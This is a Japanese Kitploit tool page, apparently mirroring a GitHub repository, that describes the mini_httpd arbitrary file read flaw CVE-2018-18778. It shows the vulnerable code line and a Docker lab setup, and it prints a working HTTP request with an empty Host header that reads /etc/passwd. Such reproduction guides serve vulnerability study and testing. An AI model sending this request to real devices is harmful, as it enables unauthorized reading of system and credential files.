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Mini_httpd-CVE-2018-18778 | Kitploit
ツール/GitHubGitHub/cyberharsh/mini_httpd-cve-2018-18778
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ファジング
GitHubcyberharsh/mini_httpd-cve-2018-18778

Mini_httpd-CVE-2018-18778

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mini_httpd任意ファイル読み取り脆弱性(CVE-2018-18778)

Mini_httpdは小型のHTTPサーバーであり、システムリソースの消費が少ない状態でも一定の性能(Apacheの約90%)を維持できるため、さまざまなIoT機器(ルーター、スイッチ、カメラなど)の組み込みサーバーとして広く使用されています。また、ファーウェイ、Zyxel、海康威視(Hikvision)、ラズベリーパイなどのベンダーのデバイスでもMini_httpdコンポーネントが採用されていました。

mini_httpdでバーチャルホストモードが有効になっている場合、ユーザーがhttp://HOST/FILEをリクエストすると、カレントディレクトリ内のHOST/FILEファイルにアクセスします。

root@kitploit:~
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

上記のコードの分析は以下のとおりです:

  • HOST=example.com、FILE=index.htmlの場合、上記のステートメントの結果はexample.com/index.htmlとなり、ファイルは正常に読み込まれます。
  • HOSTが空で、FILE=etc/passwdの場合、上記のステートメントの結果は/etc/passwdとなります。

後者は絶対パスとして扱われるため、/etc/passwdが読み取られ、任意ファイル読み取りの脆弱性が発生します。

環境構築

以下のコマンドを実行して、mini_httpd 1.29を起動します:

root@kitploit:~
docker-compose up -d

環境起動後、http://your-ip:8080にアクセスすると、Webページが表示されます。

脆弱性の再現

リクエスト送信時にはHostを空にし、PATHの値にはファイルの絶対パスを指定します:

root@kitploit:~
GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


ファイルの読み取りに成功:

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